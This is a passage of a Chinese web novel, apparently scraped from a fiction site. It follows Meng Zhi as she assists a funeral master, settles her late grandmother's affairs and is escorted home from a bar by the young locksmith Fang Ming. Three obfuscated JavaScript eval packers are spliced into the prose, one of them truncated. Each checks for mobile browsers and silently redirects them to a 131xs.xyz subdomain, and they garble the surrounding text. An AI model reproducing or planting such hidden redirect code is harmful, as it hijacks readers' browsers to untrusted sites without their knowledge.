她领悟到任何人都可以成为她的朋友，上至公园里的歌唱大爷，下至邻居家的开裆裤小孩，不论他们相差十岁还是五十岁，不论各自学历是初中还是院士。她觉得广阔天地，大有作为。 8. 飘零 青龙师兄站在墓园的大门前，一身黑衣，肥胖而肃穆。孟至心不在焉地想，跟个死神似的。她照例站在他身后一步远的地方，戴着出任务专用的渔夫帽。 一辆轿车缓缓减速，经过两人面前，继续向前慢动作滑行，好像要一路滑离此地。青龙师兄在后面追着大喊：“大哥，在这呢！别往前开了！” 那车这才刹住。开车大爷哆哆嗦嗦地推开车门，脚步蹒跚，神色恍然，对青龙说：“开过头了，唉。老母亲没了，我这几天心里乱啊……” 青龙师兄沉重地点头说：“明白，都明白。”说着，他看向后备箱，关怀备至地拍着大爷的手背，严肃地问道：“东西都带了吧？” 大爷说：“带了。凡是有的，都在这了。”他打开后备箱，拎出两个蛇皮口袋，孟至上前接了过来，一手一个。 青龙师兄低声吩咐道：“那边路窄，车开不过去，只能步行。都跟住我，千万别走丢了。”最后这句是对那恍然大爷说的。 一支奇特的纵队向北出发，绕过墓园，沿大路行进，接着突然拐进狭窄的胡同。两侧有些平房，都是卖丧葬用品的。 胡同越走越窄，过了一处关隘，眼前赫然是一片野地。周围树木凌乱，几辆车扎在树丛里停着。 孟至跟在青龙身后，不时回头为恍然大爷引路：“咱们继续往前。” 转过一片树林，走到场子深处，脚下的地面逐渐变成焦黑色。一堆一堆的灰烬，被扫到一边，仿佛燃烧后的微型山脉。几人脚踩着裸露的土地，扬起一阵尘烟。 青龙师兄说：“就是这里。”他走进一旁的树丛里，很快拖出一架巨大的纸牛，色彩鲜艳，栩栩如生，薄纸糊在骨架上，体积类似一辆小轿车。孟至放下两个口袋，解开封口，里面是一件一件的衣服。那都是逝者生前的衣服。 大爷站在旁边，一脸潦倒之意。青龙师兄点燃了纸牛，对大爷一声令下：“跟着我念！” 火焰包围了纸牛，青龙说：“老牛老牛你听喝！” 大爷跟着说：“老牛老牛你听喝……” 青龙沉声念道：“妈妈的脏水你来喝！” “妈妈的脏水你来喝……” 青龙大喝一声：“见着清水你就躲，遇到浑水你就喝！” 大爷躲避着飞扑出来的火星，头昏脑胀地说：“见着清水你就躲，遇到浑水你就喝。” 几个戴着头巾的女人不知从哪里冒了出来，她们每人拿着一根等身长的木棍，身穿几十年前的流行服饰，从头到脚已经被烟熏黑。不需任何人招呼，这些女人把木棍伸进火堆里，象征性地翻了几下，口中嘀嘀咕咕地说着吉祥话，孟至一句也听不懂。 青龙师兄对恍然大爷说：“给她们二十块钱，支付宝微信都行。”那些女人纷纷亮出脖子上挂的收款二维码，一律是彩打塑封的。 然而，恍然大爷眉头紧锁，显然觉得这些木棍女不请自来，突然闯入仪式，缺乏边界感。他没有理会青龙的话。 其中一个女人对他说：“保佑你老阖家平安，步步高升……给我二十块钱。” 恍然大爷不为所动。木棍女一个个忿忿不平，拖着木棍一哄而散。先前要钱的女人呸了一口，一拧肩膀，转身离去，用沙哑的破锣嗓诅咒道：“不给我钱，你来年就倒霉……”那样子竟像一个小鬼。 孟至在旁边漠然地看着，对小鬼毫不在意。青龙师兄假装没听见她们的骂声，示意孟至执行下一步。孟至得到指令，从口袋里掏出一件一件的衣服，先把扣子一个一个剪掉，再把裤腰带剪断，最后投入火中。 过去的人认为，如果裤腰带不剪断，亡魂就会被捆住，纽扣也得拆掉，否则来世会长瘤子。孟至很怀疑现在是否还真的有人相信这种传说。 但无论如何，许多人家还是请白事先生如此操办。仿佛这样就能让故去的人在另一个世界有一席之地，日后还可以来活人的梦里。 全部烧尽之后，青龙将一个巴掌大的锦囊递给恍然大爷，嘱咐他几天后带着锦囊来办理火化，到时这锦囊将随着逝者一起化为灰烬。今天的法事告一段落。 三人排成一队，深一脚浅一脚地走出野地。青龙师兄拍着大爷的肩膀，把他送上车。 大爷因老母亲的去世而六神无主，对摆渡人团队十分依赖。他一再感谢两人，然后长叹一声，滑行着开走了。 那群木棍女围了过来，方才酷似小鬼的那个女人瞄着孟至，狐疑地拷问青龙：“这个小丫蛋跟着你干？” 青龙师兄说：“嗯呐嗯呐，我们仨是个组合，白事三剑客，八月中旬出道的。我小舅子专门开车，不管园区里的事，她是帮我跑腿的。” 孟至机械地重复道：“我是帮他跑腿的。”根据以往的职场经验，无话可说时，孟至就重复别人的话。 两人往大路方向走去。青龙师兄对孟至说：“头几次我带你走一遍，以后你可就得自己上了。” “没问题。”孟至说，“算上我姥姥那次，已经学了两遍了。” 青龙师兄不知道如何接话，又不好夸她学习能力强，只能哦了两声。他又说：“最近业务可忙啊，你想好了，以后就长期给我帮忙？” “在我找到正式工作之前，我都来。体验生活呗。”孟至不紧不慢地走着，露出散漫的微笑，“师兄啊，人生就是体验，你掌控不了什么。海子都说了，你来人间一趟，你要看看太阳。” “哪个孩子说的？”师傅深感纳闷，扭头往园区里看着，“再说这地方哪有太阳？你自己看看，一进去就没阳光了，都是荫凉地儿，这可不是啥好地方。” 孟至笑着向他一致敬。今日收工，她自行去坐地铁了。她已经提前跟养老院约好，今天去收拾姥姥遗留的杂物，办理合同终止的手续。 刘校长说她会在某一站等着孟至，两人站内汇合，而后一起过去。 孟至赶到那一站时，刘校长严肃地站在一根柱子旁边，两侧的列车从她身边呼啸而过，扬起她花白的头发。 孟至走过去说：“妈。” 刘校长皱着眉头，和她并肩等待下一辆车。孟至看着玻璃幕墙上的倒影，两人一高一矮，一个笔直，一个初显衰老。 刘校长突然开口说：“你姥姥最后这几个月，我去照顾过几次。” 孟至默默看着她。她继续说道：“如果没照顾她这几次，我心里得挺难受。”说完，刘校仰头慨叹，似乎庆幸自己去得及时，为良心找到了支点。 孟至没有说话，她和刘校之间从来不谈论这样的感性话题。 下车以后，刘校长突然停住了。她对孟至说：“这次去养老院，就是最后一次去了。” 孟至赞同道：“那当然。以后不能再去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419254|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些年来，每逢佳节，孟至一家都在养老院度过。他们带着打包好的饭菜，走进孟至姥姥的一居室，熟练地摆出折叠饭桌，围坐在一起陪老人吃午饭。饭后再停留半天时间，傍晚时离开，就像完成了一个任务。 后来孟至的姥姥逐渐糊涂了，会反复地问同样的问题，每隔半分钟问一次。刘校长没有耐心解答，所以她逐渐不去养老院了，她把老孟派出去，一周探望一次。孟至每次休假回家时，会接替老孟的班，去为她姥姥反复解答问题。 现在，两人站在出站口，刘校长迟迟不踏出闸机。孟至提醒道：“再不去，人家行政就下班了。” 刘校长说：“我不去了。你自己去吧。”说完，她直接转身走回站台，很快消失在人海中。 孟至懒得做出任何评价，她自己走进了养老院的园区。楼长在办公室里等她。孟至刚一现身，楼长就站起来拉住她，带着她去行政区换合同。 这位楼长起了一个适合服务业的好名字，叫常来，可惜孟至以后不会常来此地了。常楼长负责管理二号楼，当时孟至姥姥就住在二号楼，孟至为了托她多加关照，逢年过节没少给她带礼物。 常来走在前方引路，步履匆匆，一路不停地回头倾诉：“你姥姥这一没啊，我一下就上火了，嗓子都起泡了……你姥姥那人好啊，平时对我们可好了，她就是后来糊涂……”然后就列举了一系列好事。 孟至一直点头说：“是，是。” 常来带着孟至办了手续，老太太当年入住时签的合同被终止，孟至又另签了若干文件。 一居室已经被回收，遗留的东西都堆在一间小办公室里，有吃了一半的饼干盒，用剩的洗发水，还有些零零碎碎的杂物。孟至翻了一遍，实在没有什么可留下的，就委托院方代为清理了。 据常楼长说，最后两个月里，老太太面部歪曲，嘴也无法合拢，但去世后就奇迹般地合上了，整张脸非常安详。她说是那个丧葬师傅手法了得，又给净身，又给穿衣。 据说孟至姥姥这一次去世，让白事先生一炮走红，左邻右舍的老人都在打听如何料理身后事，还纷纷提前预订寿衣。 孟至闲适地说：“订寿衣是冲喜呢，提前订了是好事。谁要是想订，就联系潘哥吧，他现在是我师兄。” 在楼长惊奇的目光里，孟至为摆渡人团队做完了广告，挥手告别，像梦游一样离开了。这一天令她筋疲力尽，她变成了一副漂浮的躯壳，只有暂时把灵魂抽走，才能继续平静地生活下去。 然而，手机弹出的一条消息又将她的游魂重新召回。方铭的黑白漫画头像在问她：“姐姐，今晚还来烧烤摊吗？” 孟至打起精神，很快回复道：“今晚不去了，我要去小酒馆跟朋友聊天，你自己慢慢吃。” 那边好奇地问道：“什么样的小酒馆呀？” 孟至觉得有点想笑，心想这小方不知到底几岁，竟连酒馆都没进去过。她像对小孩解释词语一样回答道：“我家附近的小酒馆，不太大，就是喝酒的地方。” “原来是喝酒的地方，”方铭用一种单纯的口吻说，“我家里有鲜人参泡的酒，我爸送的，你想喝吗？” 哈地一声，孟至几乎把肩膀上的背包笑掉了。她先是打出一句：姐姐要去喝的可不是这种酒。接着又全部清空，回了一句：“那下次你带一瓶来吧。” 9. 酒馆狩猎 从养老院回来，孟至冲了个澡，又出门了。 晚间下了一场小雨，街道像一层湿润的镜子。水面反射着路灯和红绿灯，如同闪烁的霓虹，竟让平平无奇的街区变得像国际都市一般。雨后，C市跑步进入一流城市梯队。 孟至身穿一件深灰色工装连衣裙，拿着一把黑色长柄伞，悠闲地向一片老式居民楼走去。此时正值晚高峰，汽车缓慢地移动着，孟至抬腿就超过了它们，无牵无挂地到达目的地。 这片老楼外表破旧凌乱，里面隐藏着咖啡店和酒馆，十分斜杠。孟至拐到某一栋楼前，一家小酒馆赫然出现。 这家酒馆是用一楼门市房改装的，装修成美式复古风，铁门铁窗，橙色灯光，看上去就像一张光鲜的不干胶粘贴，贴在了灰色平顶老楼的底层。 酒馆大约有五十平方米，格局与民宅别无二致，门厅靠墙处立着一座吧台，陈设复杂，周围是几个散座。里间似乎是两个卧室打通，摆了几张圆桌和木凳。 孟至在里间选了一处旮旯，落座后点了一杯啤酒，然后拨通了斯基的视频电话。今天是斯基的生日，两人计算时差，研究半天，最后选定在这个时间隔空庆祝。 视频接通后，孟至举杯向斯基致辞：“恭喜了，又年轻了一岁。”说完她昂头一饮而尽，还亮出杯底。 斯基凑到屏幕前看了半天，说：“你这喝的是白开水啊。” 孟至体面地说：“啤酒还没上来，一会儿再祝你一次。”她酒量不佳，每次喝啤酒还要掺冰块，而且要等冰块融化以后再喝。 很快，酒馆的长发男老板托着圆盘款款走来，盘子里摆着一扎啤酒和一碟虾条。 孟至举起啤酒，重新向斯基祝贺一遍：“恭喜了，又年轻了一岁。” 斯基举起自制鸡尾酒，磕在屏幕上，自言自语道：“这么一会儿，年轻两岁了。” 孟至大口喝着啤酒，泡沫包裹着酒体，入口后迅速消退，在这之后，苦涩的味道才弥漫在口腔中，像缓释药片一样。 在斯基背后，留学生公寓的厨房隐藏在昏暗的橘色灯光中。孟至对屏幕一扬下巴：“你怎么自己在家？没出去玩吗？” “玩不动了，自己在家调酒。”斯基把玻璃杯举到镜头前，向孟至三百六十度展示，“看我调得怎么样？自由古巴。” “不错，不错，朗姆酒加可乐加青柠，你看，我还是懂一点的。”孟至把头凑到手机支架前，打量着杯中清亮的棕黄色酒浆，“不过你这颜色怎么有点浅啊？” 斯基文邹邹地说：“这个，调得好的话，当然应该是琥珀色的，就是那个……玉碗盛来琥珀光……” 孟至晃着玻璃杯，听着冰块叮铃作响，缓慢地摇着头说：“完全看不出你是小学文凭。” 斯基假笑着说：“可惜我没有可乐，所以这杯加的是格瓦斯。” 孟至哦了一声：“怎么不用红牛呢？” “一看你就不懂酒。”斯基戳了一下屏幕，就像在戳孟至的脑门，“红牛加酒精是禁止的，会让人亢奋过度的。” “你为什么不出去玩了？”孟至开始一根一根地吃虾条，“你不是蹦迪领舞吗？” 斯基却没有直接回答。又喝了几口格瓦斯加朗姆酒之后，她说：“总觉得提不起劲头，出去玩也没意思。以前看那些地方，觉得很繁华，很好看，现在看着好像也不过如此。我觉得我离家太久了。” “你也不敢看父母的白头发吧。”孟至点着头叹气，看起来十分内行，“我之前也是这样的。回家一进门，发现他们突然老了。其实不是突然，是我们回来得太少了。” “应该是吧。”斯基无限惆怅，“对了，你回老家已经多少天了？找到新朋友没有？” 孟至说：“认识了一个小姑娘，是被狗追的时候认识的。还认识一个小老弟，他是开锁师傅，不过现在转行了，好像是做废品回收……” 斯基无力地说：“啊……”从她的表情来看，她应该是觉得孟至在老家混得很差。 孟至悠哉地告诉她：“这个师傅姓方。小方很不错，性格比较面。” 斯基大喜过望：“面的好！面的不会欺负你。” 门口的风铃响了一声，一位新客人来到酒馆中。晚八点刚过，酒馆逐渐进入营业高峰期。那人走到里间，在另一个角落坐下。 长发男携带着菜单，飘忽地走到他身边，仿佛游离于异次元。那人点了一杯特调饮品，然后突然抬头看着长发男，面露恳切之意：“你好，我打听一下，这里以前是不是一家旧书店？那家书店搬到哪里去了？” “不太清楚。”长发男微笑着摇摇头，又转脸对一旁的孟至说，“知道他在找什么吗？” 孟至瞄了一眼提问的人，笑了一下，说：“找旧书店。” 长发男没有接她的话，而且自问自答：“梦。找的是过去的梦。”说完，他静悄悄地离开了。 斯基在视频电话里大笑起来：“你在什么地方，怎么都神神叨叨的？”孟至急忙摁低音量。 寻梦男开始独酌，孟至则趴在桌上，和斯基小声聊天。 聊得正欢时，肩膀突然被人拍了一下。孟至直起身来，发现寻梦男自行拖来一把椅子，坐在她的桌边。 在昏暗的灯光下，她发现这人的镜框一个空着，一个有镜片。这使得他的双眼呈现出不同程度的光线折射，一只眼睛承接灯光，熠熠生辉，另一只眼睛则躲藏在混浊的镜片后，影影绰绰，仿佛蒙着一层灰尘。 “你今晚自己喝吗？”寻梦男指了指自己的阴阳眼镜，“不要觉得我这副眼镜奇怪，我还戴过更奇怪的。想不想听？” 孟至伸手示意手机的方向：“我在打电话呢，你还是先找你的旧书店去吧。” “我以前总来旧书店看书，把一只眼睛看成近视了。”寻梦男娓娓道来，“那时候我戴的眼镜只有一条腿，这样干架的时候比较方便，一甩头就把眼镜甩一边去。”说着他摇头示范，好像在跳甩头舞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419255|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟至说：“真有绝活。” 那人风度翩翩地举起酒杯，似乎在等着她说点什么。于是她和蔼地问：“家里的保险都买齐了吗？老人的，自己的，孩子的，年金险，健康险，重疾险，意外险……” 斯基破口大笑起来，孟至只好先把她静音了。 寻梦男愣了一会儿，抗拒地说：“不用不用，保险都是骗人的。” 长发老板突然飘过，悠悠地说：“增额终身寿，最近很流行。” 孟至打了个响指，摇头赞不绝口：“对了。3.5%预定利率的增额寿，中长期年化收益3.45%+。下个月就停售了，怎么样，快考虑买一个吧。” 寻梦男反而凑了上来，十分艺高人胆大：“还是聊聊别的吧。对了，你这样的大美女，怎么会自己喝闷酒啊？” 孟至厌倦地往后退去，举起啤酒一饮而尽，不再理会他。放下酒杯后，她想再跟斯基说几句话，却发现手机上的画面全是重影，仿佛斯基灵魂出窍了。 她听见寻梦男的声音就在她耳边：“要不要加个微信？其实我业余是代理葡萄酒的，我看你不太能喝高度数的，是吧？我们的酒就适合……”他越说越激动，越激动越靠近孟至。 孟至想要伸手把他推到一边。然而，她的指尖还没有碰到他，就有一只修长有力的大手伸了过来，猛地把寻梦男连同他的凳子推了出去，二者共同贴地滑行了半米。 孟至吃惊地抬头看去，方师傅正缓缓收手。他调整着外套的袖口，冷冷地看着寻梦男。 “小方，你怎么来了？” “卧槽，你谁？” 两个问题同时抛向方铭。他低头看了一眼孟至，原本冷峭的眼神瞬间变得清澈无比，好像清醒状态下的哈士奇。他微微向上抬了一下嘴角，对孟至说：“反正不是来换锁的。” 接着，他又转向寻梦男，仿佛从清纯的狗变回了灰毫狼王。寻梦男还在叫嚣，只是不敢从凳子上站起来，只能激动地拍打座椅扶手。方铭用一种极度冰冷的声音说：“这是我客户，你别碰她。” 寻梦男张口结舌。方铭又说：“她罩着我。” “原来你……”寻梦男上下看着方铭，突然抱拳折服，“不是，兄弟，你是……这个……男模啊？” 孟至震惊了，同时也糊涂了。在酒精的作用下，大脑中的齿轮转速变得缓慢起来。不知怎地，首先跳入她脑海中的，是斯基制作的那批洗澡鸭子，继而鸭子演变为洗澡时的方铭，只是那躯体模模糊糊，实在看不清楚。 她转头去看方铭的反应，却见他由好几个图层重叠组成，居高临下地看着寻梦男，神色淡泊，仿佛不屑于和他对话。 寻梦男见他竟然理直气壮，显然非常佩服他的职业认同感，讪讪地笑着说：“难怪身材这么好呢，模样也长得带劲哈，这我可跟你比不了。” 方铭没有说话，一手轻轻拉起喝醉的孟至，扭头就走出了酒馆。长发老板做梦般地擦拭着玻璃杯，目送他们离去。 10. 在这安全的黑暗中 孟至一手抓着手机和雨伞，歪歪斜斜地跟在方铭身后。刚才她起猛了，此刻头晕目眩，好像一闭眼睛就能睡在大街上。 喝进去的酒似乎全都灌入了大脑中，就像水灌满了鱼缸。随着起身的大幅度动作，原本宁静的酒的汪洋，突然剧烈摇晃，冲刷了整个大脑，大脑彻底被麻醉。 她略微迟钝地看向方铭，等待着他开口说，我可不是卖身的人，刚才你们搞错了。等了半天，他却一直闷头走路，迟迟没有说话。 不知为何，她心中五味杂陈。她并不觉得小方低人一等，但她还是怅然若失，总想转身就跑，从此远远躲开他的目光。 走到分岔路口，方铭站定了。冷风一吹，孟至微微发抖，只有被他握着的那一截胳膊是暖意洋洋的。她没精打采地抬起头，对方铭说：“你今晚不用营业吗？是不是太耽误你工作了？你快回去忙吧！” 路灯散发着暗淡的光线，方铭的脸却在黑夜中愈发明亮，线条锐利，暗藏锋芒。他低头看着孟至的眼睛，那双眼睛现在水光潋滟，醉意朦胧，仿佛酒的海洋也流经了此处。酒红色长发飘荡在她的周围，就像水草浮动在水中。 他垂下目光，静静地问：“你好像不开心了，是因为我多管闲事吗？”不等孟至回答，他又轻声说：“我在保护我的客户。怎么，你不是我的客户吗？” “我没有这方面的……额，消费习惯。”孟至努力睁大睡眼，已经快要惊呆了。她没想到自己拿小方当朋友，小方却拿她当潜在客户。 方铭上前一步，两人近在咫尺。他像闲聊一样问道：“我是小老弟？还是面的？” “哟，你听到我们打电话啦？”孟至心虚地瞟向一旁，突然想起斯基的视频尚未挂断。 她把手机举到眼前，费力地看着，发现静音的斯基瞪着大眼，像看戏一般看着屏幕这头。方才那些破碎而摇晃的镜头让她十分过瘾，看她的口型是在说：“什么情况，速度与激情？” 孟至立刻挂断了电话，匆匆发了一句：“回聊。” 方铭看着她，好像在看一个好玩的小孩：“你怕我啊？” 孟至摇头说：“这倒没有，主要是怕你……”怕你身体透支过度。一摇头，脑子里的酒又晃悠起来，几乎能听见涛声了。 方铭松开她，双手插兜，轻松地说：“我确实是面的，不会欺负你的。走吧，送你回家，姐姐。”最后两个字发音十分意味深长，让孟至浑身像过了电一样。她不禁想到这就是专业的力量。 她谨慎地措辞了一番，捋直了舌头说道：“我喝多了，你送我回家，付你保镖钱，好吗？今晚就……额，不要兼职了吧。” 方铭说：“成交。” 两人慢慢向孟至家走去。方铭拿着她的雨伞，步伐轻捷，浑身流动着雀跃的气息，好像要去孟至家里吃席一般。孟至却心事重重。 走着走着，方铭忽然变得消沉起来。孟至急忙竖起一根手指，头头是道地说：“你平时的时薪是多少？我一会儿就转你，绝对不差事儿！” 方铭没有回答。又走过一条街，孟至的公寓出现在眼前，他才低声问道：“你男朋友是在外地吗？所以才没来接你？” 孟至奇怪地说：“没有呀，我哪有男朋友这种高级货？” 方铭说：“吃烧烤那次，你穿的是一件男装T恤。” “那是干活时候穿的。”孟至心不在焉地笑了。她遗憾地说：“我这个人混阴阳两界，带点晦气，不适合找别人谈。” 他看着孟至，数次欲言又止，最后说：“你喝醉了。” “是呢，我——喝快了。”孟至苦恼地用双手搓着脸，“前面就到我家了，你早点回吧，说不定今晚还能接到一单呢。” “说什么醉话呢。”方铭笑了一下，慢慢转过身去，“那我走喽，你上去吧。” 孟至呆呆地看着公寓。每个窗口都透出不同颜色的光，巨大的楼房如同一片光怪陆离的马赛克。然而，属于她的那个窗口是黑色的，等待她的是一个独居的夜晚。在老家的独居，似乎比在外漂泊时的独居更加沉寂难熬。 她突然想要追逐着方铭的背影，把他叫回来做伴，反正他按小时收费，不会吃亏的。于是她调头就跑，像迷途羔羊一样放声大喊：“小方——” 谁知方铭根本没有走远，他正站在原地看着孟至进楼。孟至来不及停住脚步，整个人结结实实地砸在他的身上。 方铭稳稳地接住了她，两只手臂牢固地环绕着她的腰和背。孟至抬起头来，稀里糊涂地想，这人真扛撞啊，她几乎是发射过来的，这具坚实而富有弹性的躯体却纹丝不动。在巨大的撞击力作用下，她以为自己会深陷进去，结果似乎反而是对方陷入了自己的身体中。 她站直双腿，往后退开两步。方铭则看向一边，不停地眨眼睛。他的脸颊蒙上了一层粉色，耳朵红得像充血一样。 孟至双手背后，踮脚看着他，用商量的语调说：“我不想自己在家，你上来坐一会儿行不行？” 方铭恩了一声，听起来更像是压抑的哼声。 片刻之后，两人坐在孟至家里的飞毯上。孟至靠着皇冠靠枕，昏昏欲睡。 方铭环视着客厅，原本堆在阳台的几个箱子也消失了。他说：“你的东西少了很多。” 孟至撑着下巴说：“是的，是的，那几个箱子里装的是旧书，都卖了。” “哦。”方铭装出一副明白的样子，“知识就是财富，对，得变卖旧书换点钱。” 孟至哼了一声，懒得回答。方铭继续说：“哎，你这房子里家具也扔了，书也卖了，最后不会只剩承重墙了吧？” 尽管已经在入睡的边缘，孟至还是维持着起码的理智。她不想让方铭觉得自己家境富有、高不可攀，就说：“对啊，要不然我怎么生活呢，总不能光去早市上试吃。” 方铭小心地看了她一眼，似乎在评估她到底有多穷。他说：“今晚就不要给我转钱了，姐姐。” 孟至潇洒地一挥手：“不用！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419256|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说着，她爬起来走到窗边，对方铭招手：“我给你看个好东西！” 方铭走到她身边，眼看着她像长了吸盘一样吸附在玻璃上。她时而把手放在眼睛周围，遮挡着来自室内的光线，以免眼前的玻璃反射影像，时而上上下下地调整着眼睛高度，仿佛在做原地蹲起。 最后她指挥方铭：“拉一下窗帘，现在玻璃上都是室内的倒影。” 方铭拉上了一半的窗帘。两人站在另一半的空白中。 孟至一伸手，潇洒地拽过来另一边的窗帘。帘子顺畅地滑行过来，与另一片合拢，将孟至和方铭困在了窗帘和窗户之间的缝隙中。房间里的灯光被屏蔽在外，他们隐藏在窗帘后面，就像躲在令人安心的黑暗空间里。 方铭的脸慢慢贴近过来。他盯着孟至，目光灼灼。孟至一指窗外：“看天上！” 他不太情愿地看向西南方向的夜空，月亮悬挂在高高的天际。孟至百思不得其解：“你说这个月亮，为什么偏西呢？我记得这个时间，应该快到正中央呀？” “月亮位置是跟农历时间有关系的。”他淡淡地说，“同样是午夜，农历十五它在正南，十五之前是东南，十五之后是西南。” “你懂得很多！”孟至对他竖起大拇指，“好！” “说不定是你懂的太少了呢，姐姐。” 孟至主动说：“我是理科生，我地理不好，作文也不好。小时候让写感恩父母，我就一通胡编乱造，说什么，他们每日劳累，常常睡倒在饭桌上……” 方铭笑了起来：“咣当一下那种？” 辽阔的城市中，无数灯光扩散着，照亮了苍穹下的楼房和街道。城市变成了半圆形水晶球里的景物，仿佛连充斥其中的空气都是亮的。借着这些又明又暗的光，孟至在黑暗夹层中看见了他微笑的轮廓。 她悄声说道：“小方，以后你不要再做男模了，万一被抓了就不好了。” 方铭摸着头问：“谁做男模了？你在夸我吗？” “在酒馆的时候，那个人说你是……”孟至眯起眼睛，“你也没反驳呀。一般人被这么诬陷，应该会拿电钻钻他吧？” “为什么要反驳他，不理他就好了。”方铭却不以为然，“你不是都说了，小方是面的。” “那你怎么在酒吧里？”孟至打了个哈欠，“你不是在接单吗？” “那种小酒馆都是很日常的清吧，怎么会有男模呢。”方铭的眉毛压了下来，目光忧郁地看着她，“我只是去那家店吃炸薯条的。你就没有想过，我其实就住在这一片？” 孟至突然高兴地说：“你不是就好。你长得太好看了，我误会了。” 接着，她拉开窗帘，终结了那片黑暗的未知。方铭还停留在原地，她率先走回到光明中，给他拿了一瓶草莓牛奶，了无挂碍地说：“好小方，去吧。” 方铭抿嘴看着她。孟至一路把他送到门口，在告辞之前，他回过头来，不轻不重地说：“你喝醉了还挺有趣的，姐姐。” 11. 小时工与临时工 恍然大爷的母亲出殡这天，孟至早早抵达墓园门口待命，却发现青龙师兄已经背着手站在那里，仿佛前一天根本就没走。他身上还斜挎着那个背包，里面装着他的工作用品。 见到孟至大步走来，他溜达着迎了上来：“起这么早，不习惯吧？” 孟至扣上渔夫帽，又戴上新添置的口罩，说：“还行，回家以后睡得也早。”回老家以来，孟至几乎完全失去了五光十色的夜生活，而当她在晚十点躺下时，小区里的灯光往往也已经灭了一大半，亮着的窗口寥寥无几。整座小区像巨大的养老院。 青龙点头笑着，向自己身后招手，脸还对着孟至：“这就是我小舅子，今天出殡用的丧葬用品都是他开车拉来的。” 当看向他的身后时，孟至凝固了一下。她看到那天酒馆里的寻梦男就站在不远处，脸色阴沉地注视着这边。青龙招了半天手，不耐烦地回头看去：“过来呀，老弟。” 寻梦男磨磨蹭蹭地踱步到孟至面前，脸上呈现出介于羞耻和反感之间的表情。双方都用异样的眼神看着彼此，孟至发现他今天终于戴了一副正常的眼镜，两个框里都有镜片，只是镜片很小，且在阳光下会变成墨色，这使得他的脸上横着一副小椭圆形墨镜，就像过去在街边拉二胡的。想到那天酒馆中的场面，孟至忍住了没问他坐着椅子滑行的感觉如何。 而他看向孟至的眼神，显然是觉得孟至长年累月包养了男模，是男模手头的大客户。 青龙正要为彼此引荐，孟至率先开口了：“这就是白虎师兄啊？” “啊，对。”青龙大手一挥，“这个小姑娘是……” “百五。”孟至笑嘻嘻地说，“我的法号是百五。” 左青龙，右白虎，中间夹个二百五。白虎推了一下墨镜，简单点了点头，看起来孟至就算叫天王老子也和他没关系。二人没有直接的业务往来，谁也没有提出互换微信。 很快，恍然大爷与他们汇合了，他还在不停地接电话，向前来吊唁的来宾报出告别厅的号码。白虎插嘴道：“大哥，我看咱们订的不是B套餐吗？B套餐里包含一个大幅遗照，三个花圈，我们都给摆好了。我的建议呢，是让几个孙女再各自订一个花圈，一般人家都是这样的……” 青龙沉声说：“先让大哥接完电话！” 孟至鄙夷地看了白虎一眼，认为他根本不是做销售的料。她觉得白虎有趁人之危的嫌疑，推销态度也过于急功近利，显得吃相难看，不够从容。 青龙要去跑另一家的流程，本次开光由孟至主持。孟至带着恍然大爷走入告别厅，厅里摆着一口棺材，里面是恍然大爷的老母亲的遗体。周围依然装点得百花齐放，靠墙摆放着几个花圈。 孟至先请恍然大爷跪在旁边，然后自己也麻溜地跪下，用毛笔轻点着逝者的每一处五官，不急不缓地念道： 开眼光，看西方，西方大路亮堂堂。 开鼻光，闻供香，极乐世界百花香。 开嘴光，吃牛羊，琼浆玉液管够尝。 开心光，亮堂堂，保佑子孙永安康。 …… 这一套念词是孟至姥爷去世时，听墓园的工作人员念的。孟至根据回忆拼凑出来，略加改编，念得头头是道。在她看来，所有繁琐而怪诞的步骤都不过是为了拖延最后的时刻，让遗体晚一些被火化，让生者再看一眼逝者。 开光之后，工作人员主持了简短的告别仪式。再之后，遗体终于被推去火化，从此真正地在世界中消失。青龙刚从上一家的流程里脱身，又赶着去提交这一家的火化申请。孟至想起姥姥火化那天，也是被推出告别厅的一刹那，刘校长突然放声大哭，其嚎啕声被远远地抛在推车的后面。孟至突然不寒而栗。 恍然大爷被打扮着披上了白头巾，一手举着幡，一手托着遗像。在他身后跟着一行亲属，其中几个壮汉抬着那三个花圈。孟至引路，这支出殡的队伍走出告别厅，走进九月的凉风中，走向焚烧花圈的铁炉。 花圈被抛进炉子里烧毁，孟至示意披麻戴孝的大爷跪下来摔盆，又让他大喊“妈妈走好”。一切结束之后，孟至又从挎包里掏出白酒给众人洗手，再一人发一片饼干。 白虎不知从哪里冒了出来，试图对恍然大爷进行最后的推销：“哥，你订的这个骨灰盒我拿来了，但我车里有更好的，我的建议是，你换个更上档次的。老太太生前是公务员，人民公仆，骨灰盒不应该再像生前那么节约了……”他手里还拿着一支笔和一个小本，仿佛要等大爷点菜。 